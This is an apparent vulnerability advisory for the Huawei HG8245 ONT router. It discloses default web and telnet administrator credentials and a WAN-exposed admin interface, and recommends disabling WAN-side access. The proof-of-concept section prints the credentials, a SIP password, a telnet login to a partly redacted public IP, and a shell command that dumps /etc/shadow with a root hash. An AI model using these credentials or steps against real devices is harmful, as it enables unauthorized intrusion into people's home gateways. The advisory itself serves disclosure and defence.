Summary

The Huawei HG8245 ONT, firmware version V1R006C00S100 which provides cellular services, contains 3 severe vulnerabilities: two administrator accounts enabled by default and a public administration interface exposed to the Internet.

Description

Model:	Huawei HG8245
Hardware version:	130C4600
Software version:	V1R006C00S100
Date of publication:	12/09/2013
Severity:	Very High
Solution:	Disable WAN-side HTTP and Telnet access. It is not possible to change the default web administrator's password for the user admin.

The backdoor is a web management account enabled by default and the password cannot be changed. In this version the default administrator password is:

```
admin:*6P0N4dm1nP4SS*
```

Another administrator user exists by default for the telnet service:

```
root:admin
```

Video

POC

1.

```
WAP(Dopra Linux) # show text /mnt/jffs2/CfgFile_Backup/V100R002C06SPC005B078.xml

...
<X_HW_WebUserInfoInstance InstanceID="1" UserName="root" Password="admin" UserLevel="1" Enable="1"/>
<X_HW_WebUserInfoInstance InstanceID="2" UserName="admin" Password="*6P0N4dm1nP4SS*" UserLevel="0" Enable="1"/>
<SIP AuthUserName="44XXXXXXXX" AuthPassword="qpmzxjhjgi">
```

2.

```
guest@Kaczinski:/$ telnet 187.XX.XX.XX
Trying 187.XX.XX.XX...
Connected to 187.XX.XX.XX.
Escape character is '^]'.

Welcome Visiting Huawei Home Gateway
Copyright by Huawei Technologies Co., Ltd.

Login:root
Password:*****
WAP>shell

BusyBox v1.18.4 (2012-11-05 11:13:36 CST) built-in shell (ash)
```

```
Copyright By Huawei Technologies Co., Ltd.

Login:root
Password:*****
WAP>shell

BusyBox v1.18.4 (2012-11-05 11:13:36 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

WAP(Dopra Linux) # show text /etc/shadow
Manufacturer:Huawei Technologies Co., Ltd;ey is repeated!
1970-01-01 00:00:19  [Error] Command 'pppoe_em_ex' is failed to registered because of key is repeated!
1970-01-01 00:00:19  [Error] Command 'pppoe_em_ex' is failed to registered because of key is repeated!
2013-08-31 20:28:35  [Critical] [SWM] Backup CfgFile:Upgrase from V100R002 C06SPC005B078 to V100R006C00SPC100B087
root:aqnaBbVaP.9Zo:14453:0:99999:7:::
nobody:!:11141:0:99999:7:::
sshd:*:11880:0:99999:7:-1:-1:0
WAP(Dopra Linux) #
```